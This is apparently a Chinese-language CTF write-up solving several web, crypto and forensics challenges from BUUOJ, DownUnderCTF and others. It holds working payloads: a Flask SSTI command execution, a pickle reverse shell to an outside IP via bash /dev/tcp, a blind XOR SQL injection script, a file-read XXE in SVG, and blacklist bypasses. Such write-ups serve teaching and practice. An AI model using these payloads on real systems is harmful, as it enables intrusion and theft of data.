0%

安洵杯 2019的easy_web。 上来就是Orange传世名篇(不是,注意URL,http://01247d3a-afa6-47e3-8066-91d9c4cb599a.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=,cmd先不管是啥,img很有意思,两次Base64后再转字符串,得到555.png,那就试着读index.php,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
很明显,一个RCE。但是要先绕MD5,这个简单,Fastcoll 生成两个文件,Python requests直接提交就行。然后读flag。ls不让用,我们可以dir,发现在/有flag。没法用cat tail head less more等读文件。尝试用man /flag,没装man,这个时候怎么办呢?两种思路:一是继续找有没有其他的命令,这个时候一定要注意去找coreutils有没有神奇的命令,例如xxd sort uniq fmt tarcat paste tac base64 base32 base85等命令。二是用bash绕过。例如,cat /flag,正常ASCII字符前加转义\\,是没有用的。所以,\cat /flag一样可以。注意空格被过滤了,要用%20替换。不过requests自动编码,顺手绕过了。

flag{742613ae-89e7-4cf2-8ee0-1136024a27b7}

RSA基础:已知p q e,求d

1
2
3
4
5
6
from gmpy2 import invert,mpz
p=mpz(473398607161)
q=mpz(4511491)
e=mpz(17)
d=invert(e,(p-1)*(q-1))
print(d)

flag{08885356-0c68-4d96-8135-121d824e513c}

BJDCTF 2nd Fake Google。

页面是个假的Google,输入XXX搜索后返回P3's girlfriend is XXX,输入4返回4,SSTI。

盲猜一个Flask。那就{{config.items()}},没有flag。然后{{''.\_\_class\_\_.\_\_mro\_\_}}返回(<class 'str'>, <class 'object'>),那就直接mro.subclasses了:

{{''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()\[402\](%27cat%20/flag%27,shell=True,stdout=-1).communicate()}}

我们找的是subprocess.Popen,要先{{''.\_\_class\_\_.\_\_mro\_\_.\_\_subclasses\_\_}}列所有的子元素,然后找对应下标。

flag{0814a99f-6040-4e9b-b42a-e44ce68fab22}

Downunder CTF 2020的fix-my-pc,给了个rescue.zip,解压是两个bin。

1
2
3
4
file crash.bin
crash.bin: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), SVR4-style
file system.bin
system.bin: QEMU QCOW2 Image (v3), 824634368 bytes
crash.bin大概率是个内存镜像。system.bin是个QCOW2镜像,qemu-nbd挂载就OK。 先挂载QCOW2:modprobe nbd;qemu-nbd --connect=/dev/nbd0 system.bin。 然后fdisk -l查看分区信息:
1
2
3
4
5
6
7
8
9
10
11
Disk /dev/nbd0: 786.43 MiB, 824634368 bytes, 1610614 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device Boot Start End Sectors Size Id Type
/dev/nbd0p1 63 204862 204800 100M 83 Linux
/dev/nbd0p2 204863 1253438 1048576 512M 83 Linux
/dev/nbd0p3 1253439 1610613 357175 174.4M 83 Linux
mount挂载分区,发现nbd0p2和p3不能挂载,分区类型为crypto_LUKS。尝试挂载:modprobe dm-crypt;modprobe dm-mod;cryptsetup open /dev/nbd2 test2,然后要密码。没密码,那就去内存翻。

在去内存找密码之前,先看一下LUKS头信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# cryptsetup luksDump /dev/nbd0p2                                                                                                 root@CTFServer-Vindication
LUKS header information
Version: 2
Epoch: 3
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: d2ed9bec-ef5f-4482-a03c-57c3b3aabcb3
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)

Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-xts-plain64
sector: 512 [bytes]

Keyslots:
0: luks2
Key: 512 bits
Priority: normal
Cipher: aes-xts-plain64
Cipher key: 512 bits
PBKDF: argon2i
Time cost: 13
Memory: 249470
Threads: 1
Salt: fa 36 bf 79 a9 69 ec f3 6f 49 aa f0 e7 3b e3 03
a4 2b 1f 9b fd a9 8a b6 ca 02 b8 17 d5 ce cf e3
AF stripes: 4000
AF hash: sha256
Area offset:32768 [bytes]
Area length:258048 [bytes]
Digest ID: 0
Tokens:
Digests:
0: pbkdf2
Hash: sha256
Iterations: 160627
Salt: dc 1a 99 0b f0 b3 c6 bb e5 61 8a f1 41 ff 31 c7
2c 8f d2 b9 7c bf b6 89 d7 20 b9 34 ef ac ae a7
Digest: a0 a2 bb cf e7 27 41 f8 2b e3 df e9 82 c6 c4 f9
98 0f 85 ff 81 e6 e2 cd be f8 0c 3d 33 1a cc 97

用的AES加密。binwalk crash.bin发现是Linux的内存镜像,volatility跑不出来。谷歌搜到了一篇这个,试一下findaes工具。跑出来两个AES 256的Key。

1
2
3
4
5
Searching /home/tiaonmmn/Challenges_2020_public/forensics/fix-my-pc/crash.bin
Found AES-256 key schedule at offset 0x1bffed68:
ff 98 d7 67 61 14 70 24 eb b0 c8 d4 e1 14 18 14 21 4d 2a 83 d7 93 66 09 37 77 55 e5 18 0a 3c 57
Found AES-256 key schedule at offset 0x1bffef58:
09 4e 2a df 58 cf b1 7d 85 f0 f6 93 3f 7b 44 ef a0 0a 3c da 7b be 01 87 3e 09 ff 4e e7 a6 05 39

然后参考这里解密,要注意的是,AES-XTS-Plain64用的是64位密钥,所以要合并上面两段:echo "0 1048576 crypt aes-xts-plain64 094e2adf58cfb17d85f0f6933f7b44efa00a3cda7bbe01873e09ff4ee7a60539ff98d76761147024ebb0c8d4e1141814214d2a83d7936609377755e5180a3c57 0 /dev/nbd0p2 4096" | dmsetup create luks_volume。没有报错,接着挂载:mount /dev/mapper/luks_volume /mnt,得到一个Linux分区,/home没啥东西,/root文件名乱码,直接cat *,得到下面有趣的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat /home/bob/.ash_history 
rm .ash_history
shutdown -h now
shutdown
halt
vi /etc/crypttab
ls
du -h
pwd
ls -la
ls
rm ??b??
cd /etc
ls
blkid >> /etc/crypttab
vim /etc/crypttab
vi /etc/crypttab
cd crypttab.d
cd /etc/crypttab.d
cryptsetup luksOpen /dev/sda3 crypthome --key-file /etc/crypttab.d/home.key
mount -t ext4 /dev/sda3 /home
ls /etc/crypttab.d/home.key
rc-service sshd start

发现又来一个cryptsetup,我们还有一个分区/dev/nbd0p3没看呢。根据提示,直接解密:cryptsetup luksOpen /dev/nbd0p3 crypthome --key-file /mnt/etc/home.keymount /dev/mapper/nbd0p3 /mnt1,然后看/mnt1文件,发现有.ssh目录,存在id_rsa id_rsa.pub known_hosts,SSH免密登录。看.ash_history,发现有github的Repo。那就把.ssh目录的文件拷到我们机器上的.ssh目录下,然后git clone git@github.com:cornochips/configs。得到10个file*.txt,但是都没用。git log发现有大量提交日志,一点点翻文件找到了。

flag{548c9969-8cb1-4aef-89fa-4b8548e17b25}

DownunderCTF 2020 Taking-stock。给了一个train.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

# Don't upload this file to production.
# Train models locally and copy them into the deployment

import os
import joblib
import quandl
import numpy as np
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split

WINDOW = 30
quandl.ApiConfig.api_key = "REDACTED"

def get_data(name, cache=True):
fn = f'{name.replace("/", "_")}.cache.joblib'
if cache:
if os.path.isfile(fn):
df = joblib.load(fn)
return df

df = quandl.get(name)
joblib.dump(df, fn)

return df

def get_model(data):
df = data[['Adj. Close']]
df['Prediction'] = df[['Adj. Close']].shift(-WINDOW)

ds = np.array(df.drop(['Prediction'], 1))
ds = ds[:-WINDOW]

lb = np.array(df['Prediction'])
lb = lb[:-WINDOW]

ds_train, ds_test, lb_train, lb_test = train_test_split(ds, lb, test_size=0.2)

model = LinearRegression()
model.fit(ds_train, lb_train)

return model

if __name__ == '__main__':
import sys
stock = sys.argv[1]
stock_name = stock.split('/')[1]
use_cache = len(sys.argv) > 2 and sys.argv[2] == '--no-cache'

data = get_data(stock, cache=sys.argv)
model = get_model(data)
joblib.dump(model, f'{stock_name}.joblib')


打开是一个股票预测界面,输入数值后会根据输入预测变化情况。然后我们发现有个登录,随手一发SSTI{9*9},结果没那么简单,原样输出了。然后有个上传,只能是PNG。但是仅验证了文件后缀。

抓包发现,首次登陆后的Me页面里会GET/profile-picture/{uuid},然后返回No such file /tmp/{uuid}.png,我们上传的文件会保存在/tmp目录下。然后注意到奇怪的事情,我们把uuid改了,

还会正常显示上传的图片。很明显,/profile-picture还会判断Cookie。我们解一下Cookie,明显Flask的。"eyJpZCI6IjgxMDM1M2JiLTc4NmMtNGIzYi05N2IwLTIyMWI5ODFhODZiYyIsInVzZXJuYW1lIjoie3s5Kjl9fSJ9.X2laXw.PxXhwXbzp8aKXJeUIXaQFoUgrrM"的结果是{"id":"810353bb-786c-4b3b-97b0-221b981a86bc","username":"{{9*9}}"}。但是目前上传没太多作用,找不到什么序列化或者LFI的。

回头看股票预测页面,有四个选项,Google Facebook Apple Amazon,我们点Predict的时候,会POST prices和stock(不过很奇怪,我在本地做的时候Burpsuite抓不到包),我们把stock改成../../../../../../../../etc/passwd,提示Failed to load ./models/../../../../../../../../etc/passwd,LFI。

LFI有了,文件上传有了,然后干什么?给的那个train.py还没看呢。

joblib是啥?参考文档,是一套并行运行的工具库,我们重点关注这里用的load函数。文档明确提示使用pickle,那就好办了。不知道能否有回显,我们直接反弹shell。

先写好模板:

1
2
3
4
5
6
7
8
9
10

import pickle
import base64
import os

class RCE:
def __reduce__(self):
cmd = ('bash -c "bash -i >& /dev/tcp/192.168.50.186/6379 0>&1"')
return os.system, (cmd,)

然后pickle 生成序列化文件,上传文件(记得改后缀名),最后predict修改引用的模型为我们上传的Payload即可弹shell。

flag{8b378ef6-ad0b-42b2-acb7-9ea7a122fd54}

DownUnderCTF 2020的CookieClicker。(这题做Docker后面需要适配,因为用到了Google Firebase)

打开后让我们登录或注册,注意到favicon那个Angular的标志,猜测这题是用Angular写的Web Server。

观察发起的网络连接后,注意到频繁访问firebase,firebase是什么?简单来说是Google推出的在线数据库,CRUD操作可以通过HTTP请求完成。

我们试着在JS中找一下Firebase的东西,发现Token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

const environment = {
production: false,
firebase: {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
}
};

现在我们可以访问firebase了,问题是怎么查?仅凭Token没办法登录到Firebase控制台,所以我们要通过Token来直接访问Firebase。由于我们只有API Key,参考文档,我们直接JavaScript操作。

先构建好Firebase操作模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);



</script>
</body>
</html>

下一个问题是我们要操作哪种服务?Firebase提供了Realtime Database、Cloud Firestore、Storage等服务。当我们点击页面中的按钮时,会发出一些HTTP请求,发现URL都类似于https://firestore.googleapis.com/google.firestore.v1.Firestore/Listen/channel?database=projects%2Fcookie-clicker1%2Fdatabases%2F(default)&gsessionid=bcEeUU8DDzkPMaSO3JY1AW63FcU55neY&VER=8&RID=rpc&SID=1IaLbjzhhQV21yMH-XFJoQ&CI=0&AID=64&TYPE=xmlhttp&zx=utdsowr3rn8s&t=2,发现有firestore,而且我们在main.js中搜索storage、firestore、database等关键词,只有firestore出现次数最多。就认为是它了。根据文档,Firestore不使用表的概念,而是用collections代替,我们需要知道collections的名称,但是Web端又不允许我们去获取collections。

那就再看HTTP请求,当我们点击Click更新计数时会发出一个POST请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /google.firestore.v1.Firestore/Listen/channel?database=projects%2Fcookie-clicker1%2Fdatabases%2F(default)&VER=8&RID=13388&CVER=22&X-HTTP-Session-Id=gsessionid&%24httpHeaders=X-Goog-Api-Client%3Agl-js%2F%20fire%2F7.19.1%0D%0AContent-Type%3Atext%2Fplain%0D%0AAuthorization%3ABearer%20eyJhbGciOiJSUzI1NiIsImtpZCI6IjczNzVhZmY3MGRmZTNjMzNlOTBjYTM2OWUzYTBlZjQxMzE3MmZkODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vY29va2llLWNsaWNrZXIxIiwiYXVkIjoiY29va2llLWNsaWNrZXIxIiwiYXV0aF90aW1lIjoxNjAwNjkyMjM4LCJ1c2VyX2lkIjoiVnF4SE5QbHdLUVJwMkZ2Q1R6Z1h5MDhseGh2MiIsInN1YiI6IlZxeEhOUGx3S1FScDJGdkNUemdYeTA4bHhodjIiLCJpYXQiOjE2MDA2OTU1MzksImV4cCI6MTYwMDY5OTEzOSwiZW1haWwiOiJ0aWFvbm1tQHRlc3QuY29tIiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJmaXJlYmFzZSI6eyJpZGVudGl0aWVzIjp7ImVtYWlsIjpbInRpYW9ubW1AdGVzdC5jb20iXX0sInNpZ25faW5fcHJvdmlkZXIiOiJwYXNzd29yZCJ9fQ.MobthL1tQ2iJBgiyyMt-nigsmJrHPiIaDjkOQrSJgBNDZa77HyTfiXzA-Nc_ZNhKbkO_YXheAVoIIaBSvVcxhMr9Ce-rrcjta7Y3eLmbFI-_79LXEWMbM3K2ffDlPa1k2cGsLbwestARe2_7wyLNf4PfYMR9vHZtJRxMcx8IMs4XBXf4a8guAWSV-2pgw3Z02g5yvusiMxpZjCpON7qI_08xoiLNcc5YnqH1Raqd16FiFlbClzuYm33JnJpOw_7QCucRMtZk77pr5uUiNmNDBJCjS-V1o2u5cfta4imsmiMBMEtD9Com-1BCZv_HD2Qd1Rmy_0cZ71r3NuqaSwIx4w%0D%0A&zx=la5nsuqm685b&t=1 HTTP/1.1
Host: firestore.googleapis.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 684
Origin: http://127.0.0.1:8528
Connection: keep-alive
Referer: http://127.0.0.1:8528/

count=2&ofs=0&req0___data__=%7B%22database%22%3A%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%22%2C%22addTarget%22%3A%7B%22documents%22%3A%7B%22documents%22%3A%5B%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%2Fdocuments%2Fusers%2FVqxHNPlwKQRp2FvCTzgXy08lxhv2%22%5D%7D%2C%22targetId%22%3A2%2C%22resumeToken%22%3A%22CgkI4LfytK%2F66wI%3D%22%7D%7D&req1___data__=%7B%22database%22%3A%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%22%2C%22addTarget%22%3A%7B%22documents%22%3A%7B%22documents%22%3A%5B%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%2Fdocuments%2Fcookies%2Ftotal%22%5D%7D%2C%22targetId%22%3A4%2C%22resumeToken%22%3A%22CgkI4LfytK%2F66wI%3D%22%7D%7D
可以看到有req0和req1两组数据。根据URL我们大胆猜测collections为users和cookies。那么,读数据吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});


</script>
</body>
</html>

访问后会发现报错: Uncaught (in promise) FirebaseError: Missing or insufficient permissions. (゚∀。),还要权限?那么得从登录开始抓包了。发现登陆的时候有verifyPassword的URL,但是Key是加密的,这种情况下我们先不轻易解这个加密,回去翻文档,看有没有认证的选项。在这里看到了登录的选项,那么添一段登录代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
firebase.auth().signInWithEmailAndPassword("tiaonmm@test.com", "tiaonmmn").catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});
db.collection("cookies").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});


</script>
</body>
</html>

发现users我们没办法访问,但是cookies可以,不过我们的代码有问题,直接把对象toString()了,改一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
firebase.auth().signInWithEmailAndPassword("tiaonmm@test.com", "tiaonmmn").catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});
db.collection("cookies").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(doc.data());
});
});


</script>
</body>
</html>

浏览器访问后打开控制台即可看到flag。

flag{6f4bfe3a-9a40-4cf2-869e-3edd8f9e40d4}

来一道不是BUUOJ上的题,Confidence CTF Final 2020的Haha_jail。

这题有点麻烦,没法做Docker环境(还是我太菜,麻烦有成功的师傅贡献一下Docker镜像)

这题给了两个文件,

flag{0980700f-0a4d-45be-a1b2-ec02e8f1a6e4}

很明显,select flag from flag,然后过滤了一堆东西,发现没有过滤^,异或注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://e9104091-792d-476b-8ba6-d151cc2204fe.node3.buuoj.cn/index.php"
flag=""
for a in range(17,127):
for b in range(32,127):
x=requests.post(url,data={
"id":"1^(ascii(substring((select(flag)from(flag)),{},1))>{})^0".format(a,b)
})
print("1^(ascii(substring((select(flag)from(flag)),{},1))>{})^0".format(a,b))
if "Hello, glzjin wants a girlfriend." in x.text:
flag+=chr(b)
print(flag)
break

flag{2af40d57-a06b-4621-aef6-6b4ef6a5be7c}

RoarCTF 2019 Easy Java

题目名称已经告诉了要用Java。上来让我们登录,然后下面有个Help很显眼。注意到URL是Download?filename=help.docx,大概率LFI。打开后提示java.io.FileNotFoundException,但是离谱的是,POST一个filename就可以了。(゚∀。)

问题是读什么文件。参考这个,我们读一下WEB-INF的web.xml,果然发现东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

有个FlagController在那里,我们接着读WEB-INF/classes/com/wm/ctf/FlagController.class,反编译即可得到flag。(路径要根据包前缀而变化)

flag{d9d1cc00-1b71-4b22-bd07-0137edb623a1}

BSidesCTF 2019的SVGMagic。开题让我们上传文件,上传其他文件报500,上传SVG会成功渲染,并显示PNG渲染结果。

SVG实际上是一个XML文档。因此可能出现XXE问题。我们试一下。翻参考文档SVG标签中能插入元素的有<text>,所以直接写一个进去:

1
2
3
4
5
6
7
8
9
10
11
12

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<svg width="512px" height="190px" viewBox="0 0 512 190" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid">
<g>
<text x="0" y="15" fill="red">&xxe;</text>
</g>
</svg>


上传看PNG图片即可得到内容。下一步是拿flag。这题当时环境是让我们拿flag.txt,但是位置不知道。所以盲测。找了一圈,最后猜是在程序根目录下,file:///proc/self/cwd/flag.txt。

flag{f189ef14-aaaa-429d-88eb-08c721bbedff}